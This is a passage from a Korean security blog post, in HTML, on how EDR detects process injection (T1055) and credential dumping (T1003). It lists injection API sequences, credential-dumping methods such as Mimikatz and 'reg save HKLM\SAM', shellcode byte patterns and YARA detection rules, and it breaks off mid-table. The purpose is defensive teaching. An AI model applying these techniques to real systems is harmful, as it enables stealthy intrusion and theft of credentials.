&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 분석 대상 행위 개요&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.1 왜 이 두 기법인가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프로세스 인젝션 (T1055)&lt;/b&gt; &amp;mdash; 공격자의 &quot;은신술&quot;. 다른 프로세스의 주소 공간에 코드를 주입하면, 그 프로세스의 신뢰도를 빌릴 수 있다. &lt;code&gt;svchost.exe&lt;/code&gt;에 셸코드를 주입하면, 방화벽은 정상적인 시스템 프로세스의 네트워크 활동으로 인식한다. MITRE에 등록된 서브 기법만 12개 &amp;mdash; 그만큼 공격자가 자주 쓰고, 변형이 많다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;자격증명 덤핑 (T1003)&lt;/b&gt; &amp;mdash; 공격자의 &quot;만능열쇠&quot;. LSASS 메모리에서 평문 비밀번호나 NTLM 해시를 추출하면, 도메인 전체를 횡이동할 수 있다. 단 하나의 관리자 해시가 기업 전체 침해로 이어지는 경우가 빈번하다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.2 T1055 주요 서브 기법&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;서브 기법&lt;/th&gt;
&lt;th&gt;핵심 API 시퀀스&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;T1055.001&lt;/td&gt;
&lt;td&gt;DLL 인젝션&lt;/td&gt;
&lt;td&gt;&lt;code&gt;OpenProcess&lt;/code&gt; &amp;rarr; &lt;code&gt;VirtualAllocEx&lt;/code&gt; &amp;rarr; &lt;code&gt;WriteProcessMemory&lt;/code&gt; &amp;rarr; &lt;code&gt;CreateRemoteThread(LoadLibrary)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1055.002&lt;/td&gt;
&lt;td&gt;PE 인젝션&lt;/td&gt;
&lt;td&gt;&lt;code&gt;OpenProcess&lt;/code&gt; &amp;rarr; &lt;code&gt;VirtualAllocEx(RWX)&lt;/code&gt; &amp;rarr; &lt;code&gt;WriteProcessMemory(PE image)&lt;/code&gt; &amp;rarr; &lt;code&gt;CreateRemoteThread&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1055.003&lt;/td&gt;
&lt;td&gt;스레드 실행 하이재킹&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SuspendThread&lt;/code&gt; &amp;rarr; &lt;code&gt;VirtualAllocEx&lt;/code&gt; &amp;rarr; &lt;code&gt;WriteProcessMemory&lt;/code&gt; &amp;rarr; &lt;code&gt;SetThreadContext&lt;/code&gt; &amp;rarr; &lt;code&gt;ResumeThread&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1055.004&lt;/td&gt;
&lt;td&gt;APC 인젝션&lt;/td&gt;
&lt;td&gt;&lt;code&gt;OpenProcess&lt;/code&gt; &amp;rarr; &lt;code&gt;VirtualAllocEx&lt;/code&gt; &amp;rarr; &lt;code&gt;WriteProcessMemory&lt;/code&gt; &amp;rarr; &lt;code&gt;QueueUserAPC&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1055.012&lt;/td&gt;
&lt;td&gt;프로세스 할로잉&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CreateProcess(SUSPENDED)&lt;/code&gt; &amp;rarr; &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt; &amp;rarr; &lt;code&gt;VirtualAllocEx&lt;/code&gt; &amp;rarr; &lt;code&gt;WriteProcessMemory&lt;/code&gt; &amp;rarr; &lt;code&gt;SetThreadContext&lt;/code&gt; &amp;rarr; &lt;code&gt;ResumeThread&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1055.013&lt;/td&gt;
&lt;td&gt;프로세스 도플갱잉&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NtCreateTransaction&lt;/code&gt; &amp;rarr; &lt;code&gt;CreateFileTransacted&lt;/code&gt; &amp;rarr; &lt;code&gt;NtCreateSection&lt;/code&gt; &amp;rarr; &lt;code&gt;RollbackTransaction&lt;/code&gt; &amp;rarr; &lt;code&gt;NtCreateProcessEx&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.3 T1003 주요 서브 기법&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;서브 기법&lt;/th&gt;
&lt;th&gt;주요 방법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;T1003.001&lt;/td&gt;
&lt;td&gt;LSASS 메모리&lt;/td&gt;
&lt;td&gt;Mimikatz, comsvcs.dll MiniDump, procdump, 직접 메모리 읽기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1003.002&lt;/td&gt;
&lt;td&gt;SAM&lt;/td&gt;
&lt;td&gt;&lt;code&gt;reg save HKLM\SAM&lt;/code&gt;, Volume Shadow Copy, 직접 레지스트리 접근&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1003.003&lt;/td&gt;
&lt;td&gt;NTDS&lt;/td&gt;
&lt;td&gt;ntdsutil IFM, Volume Shadow Copy, DCSync&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1003.004&lt;/td&gt;
&lt;td&gt;LSA Secrets&lt;/td&gt;
&lt;td&gt;&lt;code&gt;reg save HKLM\SECURITY&lt;/code&gt;, Mimikatz &lt;code&gt;lsadump::secrets&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1003.005&lt;/td&gt;
&lt;td&gt;캐시된 도메인 자격증명&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HKLM\Security\Cache&lt;/code&gt; 접근&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1003.006&lt;/td&gt;
&lt;td&gt;DCSync&lt;/td&gt;
&lt;td&gt;DRS 프로토콜 악용 (&lt;code&gt;DRSGetNCChanges&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;Part 2: 탐지 레이어별 기술 분석&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. T1055 프로세스 인젝션 &amp;mdash; 탐지 레이어별 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.1 정적 분석 (Static Analysis) &amp;mdash; 실행 전에 잡아낸다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정적 분석은 바이너리를 실행하지 않고 파일 자체의 속성을 검사하는 첫 번째 방어선이다. 마치 공항 수하물 X-ray처럼, 내용물을 열어보지 않고도 위험을 판별한다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.1.1 IAT(Import Address Table) 분석&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;고위험 API 임포트 조합 (&quot;인젝션 트라이어드&quot;):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;nginx&quot;&gt;&lt;code&gt;VirtualAllocEx + WriteProcessMemory + CreateRemoteThread/NtCreateThreadEx + OpenProcess&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 3개 이상이 동시에 임포트되면 인젝션 의심:&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API 함수&lt;/th&gt;
&lt;th&gt;인젝션 용도&lt;/th&gt;
&lt;th&gt;위험도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;OpenProcess&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;대상 프로세스 핸들 획득&lt;/td&gt;
&lt;td&gt;중간 (정상 사용 빈번)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VirtualAllocEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;원격 프로세스 메모리 할당&lt;/td&gt;
&lt;td&gt;&lt;b&gt;높음&lt;/b&gt; &amp;mdash; 정상 사용 극히 드묾&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;WriteProcessMemory&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;원격 프로세스에 페이로드 쓰기&lt;/td&gt;
&lt;td&gt;&lt;b&gt;높음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CreateRemoteThread&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;원격 프로세스에서 코드 실행&lt;/td&gt;
&lt;td&gt;&lt;b&gt;매우 높음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtCreateThreadEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ntdll 수준 원격 스레드 생성&lt;/td&gt;
&lt;td&gt;&lt;b&gt;매우 높음&lt;/b&gt; (API 후킹 우회 시도)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;QueueUserAPC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;APC 인젝션&lt;/td&gt;
&lt;td&gt;OpenProcess와 결합 시 &lt;b&gt;높음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtUnmapViewOfSection&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;프로세스 이미지 언매핑 (할로잉)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;매우 높음&lt;/b&gt; &amp;mdash; 정상 사용 거의 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SetThreadContext&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;스레드 레지스터 변경 (하이재킹)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;높음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CreateFileTransacted&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;NTFS 트랜잭션 파일 조작&lt;/td&gt;
&lt;td&gt;&lt;b&gt;매우 높음&lt;/b&gt; (도플갱잉)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtWriteVirtualMemory&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ntdll 수준 메모리 쓰기&lt;/td&gt;
&lt;td&gt;&lt;b&gt;매우 높음&lt;/b&gt; (후킹 우회)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 공격자가 &lt;code&gt;GetProcAddress&lt;/code&gt;로 런타임에 API를 해결하면? IAT에는 &lt;code&gt;GetProcAddress&lt;/code&gt;와 &lt;code&gt;LoadLibrary&lt;/code&gt;만 보이고, 실제 인젝션 API는 숨겨진다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.1.2 문자열(String) 분석&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;탐지 대상 문자열 패턴:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;DLL 경로:&lt;/b&gt; &lt;code&gt;kernel32.dll&lt;/code&gt;, &lt;code&gt;ntdll.dll&lt;/code&gt; + &lt;code&gt;LoadLibraryA&lt;/code&gt;, &lt;code&gt;LoadLibraryW&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;대상 프로세스명:&lt;/b&gt; &lt;code&gt;explorer.exe&lt;/code&gt;, &lt;code&gt;svchost.exe&lt;/code&gt;, &lt;code&gt;lsass.exe&lt;/code&gt;, &lt;code&gt;spoolsv.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;런타임 해결 ntdll 함수명:&lt;/b&gt; &lt;code&gt;NtCreateThreadEx&lt;/code&gt;, &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt;, &lt;code&gt;RtlCreateUserThread&lt;/code&gt;, &lt;code&gt;NtQueueApcThread&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;셸코드 프리앰블:&lt;/b&gt; &lt;code&gt;\xFC\x48\x83\xE4\xF0&lt;/code&gt; (x64 Cobalt Strike/msfvenom), &lt;code&gt;\xFC\xE8&lt;/code&gt; (x86 블록 API 해시 리졸루션)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;API 해싱 상수:&lt;/b&gt; &lt;code&gt;0x6A4ABC5B&lt;/code&gt; (ROR13 CreateRemoteThread 해시), &lt;code&gt;0x0726774C&lt;/code&gt; (LoadLibraryA 해시)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.1.3 엔트로피(Entropy) 분석&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일의 &quot;무작위성&quot;을 측정한다. 정상적인 컴파일된 코드의 &lt;code&gt;.text&lt;/code&gt; 섹션은 엔트로피가 5.5~6.5 정도다. 암호화되거나 패킹된 페이로드는 7.0 이상으로 튀어오른다.&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;조건&lt;/th&gt;
&lt;th&gt;정상 범위&lt;/th&gt;
&lt;th&gt;의심 기준&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.text&lt;/code&gt; 섹션 엔트로피&lt;/td&gt;
&lt;td&gt;5.5 ~ 6.5&lt;/td&gt;
&lt;td&gt;&amp;gt; 6.8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;개별 섹션 엔트로피&lt;/td&gt;
&lt;td&gt;&amp;lt; 7.0&lt;/td&gt;
&lt;td&gt;&amp;gt; 7.0 (암호화/압축/패킹)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;전체 파일 엔트로피 (&amp;lt; 100KB)&lt;/td&gt;
&lt;td&gt;&amp;lt; 6.5&lt;/td&gt;
&lt;td&gt;&amp;gt; 7.0 + 작은 크기 = 매우 의심&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.data&lt;/code&gt;/&lt;code&gt;.rsrc&lt;/code&gt; 섹션&lt;/td&gt;
&lt;td&gt;&amp;lt; 5.0&lt;/td&gt;
&lt;td&gt;&amp;gt; 7.0 (암호화 셸코드 내장)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.1.4 PE 헤더 이상 징후&lt;/h4&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;이상 징후&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;탐지 신뢰도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;RWX 섹션&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IMAGE_SCN_MEM_READ|WRITE|EXECUTE&lt;/code&gt; (0xE0000020)&lt;/td&gt;
&lt;td&gt;높음 &amp;mdash; 정상 PE에서 극히 드묾&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;비표준 섹션명&lt;/td&gt;
&lt;td&gt;&lt;code&gt;UPX0&lt;/code&gt;/&lt;code&gt;UPX1&lt;/code&gt;, 공백 이름, 비ASCII&lt;/td&gt;
&lt;td&gt;중간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Raw size=0, Virtual size&amp;gt;0&lt;/td&gt;
&lt;td&gt;언패킹 스텁 존재&lt;/td&gt;
&lt;td&gt;높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;최소 임포트 테이블&lt;/td&gt;
&lt;td&gt;&lt;code&gt;LoadLibrary&lt;/code&gt; + &lt;code&gt;GetProcAddress&lt;/code&gt;만 임포트&lt;/td&gt;
&lt;td&gt;높음 (런타임 해결 패턴)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;엔트리 포인트 위치 이상&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.text&lt;/code&gt; 외부 또는 마지막 섹션&lt;/td&gt;
&lt;td&gt;높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;체크섬 불일치&lt;/td&gt;
&lt;td&gt;PE 체크섬과 실제 불일치&lt;/td&gt;
&lt;td&gt;중간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TLS 디렉토리 존재&lt;/td&gt;
&lt;td&gt;비멀티스레드 앱에서 (콜백 악용)&lt;/td&gt;
&lt;td&gt;중간~높음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.1.5 YARA 룰 패턴&lt;/h4&gt;
&lt;pre class=&quot;puppet&quot;&gt;&lt;code&gt;rule Process_Injection_API_Combination {
    meta:
        description = &quot;프로세스 인젝션 API 조합 탐지&quot;
        mitre_attack = &quot;T1055&quot;
    strings:
        $api1 = &quot;VirtualAllocEx&quot;
        $api2 = &quot;WriteProcessMemory&quot;
        $api3 = &quot;CreateRemoteThread&quot;
        $api4 = &quot;OpenProcess&quot;
        $ntapi1 = &quot;NtCreateThreadEx&quot;
        $ntapi2 = &quot;NtUnmapViewOfSection&quot;
    condition:
        ($api1 and $api2 and ($api3 or $ntapi1)) or
        ($ntapi2 and $api2)
}

rule Process_Hollowing_Indicators {
    meta:
        description = &quot;프로세스 할로잉 지표 탐지&quot;
        mitre_attack = &quot;T1055.012&quot;
    strings:
        $s1 = &quot;NtUnmapViewOfSection&quot;
        $s2 = &quot;ZwUnmapViewOfSection&quot;
        $flag = { 04 00 00 00 }  // CREATE_SUSPENDED flag
    condition:
        ($s1 or $s2) and $flag
}

rule Direct_Syscall_Pattern {
    meta:
        description = &quot;직접 시스콜 호출 패턴 (후킹 우회)&quot;
    strings:
        $syscall = { 4C 8B D1 B8 ?? ?? 00 00 0F 05 C3 }
        // mov r10, rcx; mov eax, &amp;lt;num&amp;gt;; syscall; ret
    condition:
        #syscall &amp;gt; 3
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정적 분석의 한계:&lt;/b&gt; 난독화, 패킹, 런타임 API 해결 등으로 비교적 쉽게 우회된다. 이것이 정적 분석만으로는 부족한 이유다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.2 동적 분석 (Dynamic/Behavioral Analysis) &amp;mdash; 행동을 지켜본다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정적 분석을 우회했더라도, 실제로 인젝션을 수행하려면 결국 &lt;b&gt;동일한 행위&lt;/b&gt;를 해야 한다. 동적 분석은 이 행위를 실시간으로 모니터링한다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.2.1 API 호출 시퀀스 트리거 조건&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Classic DLL 인젝션 시퀀스 (5초 이내 발생):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;isbl&quot;&gt;&lt;code&gt;① OpenProcess(대상 프로세스) 
    &amp;darr;
② VirtualAllocEx(PAGE_READWRITE 또는 PAGE_EXECUTE_READWRITE) 
    &amp;darr;
③ WriteProcessMemory(할당된 영역에 페이로드 쓰기) 
    &amp;darr;
④ CreateRemoteThread 또는 NtCreateThreadEx(LoadLibraryA 또는 할당 영역 지점)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문자열을 아무리 암호화해도, IAT를 아무리 숨겨도, 실행 시점에서 이 API 호출 시퀀스는 반드시 발생한다. EDR은 이 시퀀스가 5초 이내에 연속으로 발생하면 인젝션으로 판단한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프로세스 할로잉 시퀀스:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;less&quot;&gt;&lt;code&gt;① CreateProcessW/A(CREATE_SUSPENDED, 0x4)
    &amp;darr;
② NtUnmapViewOfSection(원본 이미지 언매핑)
    &amp;darr;
③ VirtualAllocEx(원본 이미지 베이스 주소)
    &amp;darr;
④ WriteProcessMemory(새 PE 헤더 + 각 섹션)
    &amp;darr;
⑤ SetThreadContext(새 엔트리 포인트로 업데이트)
    &amp;darr;
⑥ ResumeThread&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;APC 인젝션 시퀀스:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;isbl&quot;&gt;&lt;code&gt;① OpenProcess + OpenThread (또는 CreateToolhelp32Snapshot로 스레드 열거)
    &amp;darr;
② VirtualAllocEx &amp;rarr; WriteProcessMemory
    &amp;darr;
③ QueueUserAPC(대상 스레드에 APC 큐잉)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.2.2 메모리 속성 변경 모니터링&lt;/h4&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;탐지 조건&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;위험도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;RWX 할당&lt;/td&gt;
&lt;td&gt;&lt;code&gt;VirtualAllocEx/VirtualProtect&lt;/code&gt;로 &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt;(0x40) 설정&lt;/td&gt;
&lt;td&gt;&lt;b&gt;높음&lt;/b&gt; &amp;mdash; 정상 소프트웨어에서 거의 불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RW&amp;rarr;RX 전환&lt;/td&gt;
&lt;td&gt;RW로 할당 후 페이로드 기록, 이후 &lt;code&gt;PAGE_EXECUTE_READ&lt;/code&gt;(0x20)로 변경&lt;/td&gt;
&lt;td&gt;&lt;b&gt;높음&lt;/b&gt; &amp;mdash; 더 정교하지만 탐지 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;비백킹 실행 메모리&lt;/td&gt;
&lt;td&gt;MEM_PRIVATE + 실행 가능 &amp;mdash; 디스크상 DLL/EXE에 매핑되지 않은 영역&lt;/td&gt;
&lt;td&gt;&lt;b&gt;매우 높음&lt;/b&gt; &amp;mdash; 인젝션의 강력한 지표&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;원격 대용량 할당&lt;/td&gt;
&lt;td&gt;부모/디버거가 아닌 프로세스에서 대상 프로세스에 대용량 메모리 할당&lt;/td&gt;
&lt;td&gt;&lt;b&gt;높음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PEB 수정&lt;/td&gt;
&lt;td&gt;프로세스 할로잉 시 &lt;code&gt;ImageBaseAddress&lt;/code&gt; 업데이트&lt;/td&gt;
&lt;td&gt;&lt;b&gt;높음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.2.3 프로세스 관계 이상 탐지&lt;/h4&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;[정상 프로세스 계층]
System &amp;rarr; smss.exe &amp;rarr; csrss.exe
                  &amp;rarr; wininit.exe &amp;rarr; services.exe &amp;rarr; svchost.exe
                                &amp;rarr; lsass.exe
winlogon.exe &amp;rarr; userinit.exe &amp;rarr; explorer.exe

[이상 징후 예시]
✗ cmd.exe &amp;rarr; svchost.exe (CREATE_SUSPENDED)     &amp;larr; 할로잉 의심
✗ powershell.exe &amp;rarr; explorer.exe 메모리 쓰기      &amp;larr; 인젝션 의심
✗ svchost.exe가 services.exe 자식이 아님          &amp;larr; 위장 프로세스
✗ 동일 프로세스 다중 인스턴스 (예: lsass.exe 2개)  &amp;larr; 비정상
✗ 비보안 도구가 PROCESS_VM_WRITE로 다른 프로세스 접근 &amp;larr; 인젝션 시도&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.2.4 네트워크 행위 지표&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인젝션된 &lt;code&gt;svchost.exe&lt;/code&gt;/&lt;code&gt;explorer.exe&lt;/code&gt;에서 C2 서버로의 아웃바운드 연결&lt;/li&gt;
&lt;li&gt;원래 네트워크 연결을 하지 않는 프로세스의 갑작스러운 TCP/HTTP 연결&lt;/li&gt;
&lt;li&gt;비코닝 패턴: 정규 간격(지터 포함) 외부 IP/도메인 콜백&lt;/li&gt;
&lt;li&gt;DGA(Domain Generation Algorithm) 패턴의 DNS 쿼리&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;동적 분석의 한계:&lt;/b&gt; &quot;직접 시스콜(Direct Syscall)&quot;이라는 우회 기법이 있다. ntdll.dll의 API 후킹을 건너뛰고 커널에 직접 시스템 호출을 보내는 것이다. 유저랜드 후킹에 의존하는 EDR은 이를 놓칠 수 있다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.3 휴리스틱 분석 (Heuristic Analysis) &amp;mdash; 맥락을 읽는다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;이 파일이 뭘 하는가&quot;가 아니라 &quot;이 파일이 누구인가&quot;를 본다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.3.1 파일 평판 (Reputation)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라우드 기반 평판 시스템은 전 세계 수억 대의 엔드포인트에서 수집한 데이터를 기반으로 파일의 &quot;신뢰도&quot;를 매긴다. 처음 보는 바이너리 + 인젝션 API + 미서명 = 자동으로 위험 등급 상승.&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;신호&lt;/th&gt;
&lt;th&gt;위험 가중치&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;미알려진 바이너리 (글로벌 유병률 낮음)&lt;/td&gt;
&lt;td&gt;높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;최근 컴파일 (PE 타임스탬프 수시간/수일 내)&lt;/td&gt;
&lt;td&gt;중간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;해당 엔드포인트/네트워크에서 최초 발견&lt;/td&gt;
&lt;td&gt;높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;클라우드 평판 조회 이력 없음 (zero prevalence)&lt;/td&gt;
&lt;td&gt;높음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.3.2 디지털 서명 (Digital Signature)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Microsoft가 서명한 &lt;code&gt;procdump.exe&lt;/code&gt;는 합법적인 디버깅 도구다. 하지만 이 도구가 &lt;code&gt;lsass.exe&lt;/code&gt;를 대상으로 실행되면? 서명이 유효해도 &lt;b&gt;맥락이 악성&lt;/b&gt;이다. 현대 EDR은 이 &quot;합법적 도구의 비정상 사용&quot;까지 탐지한다.&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;서명 상태&lt;/th&gt;
&lt;th&gt;평가&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;미서명 바이너리 + 인젝션 API&lt;/td&gt;
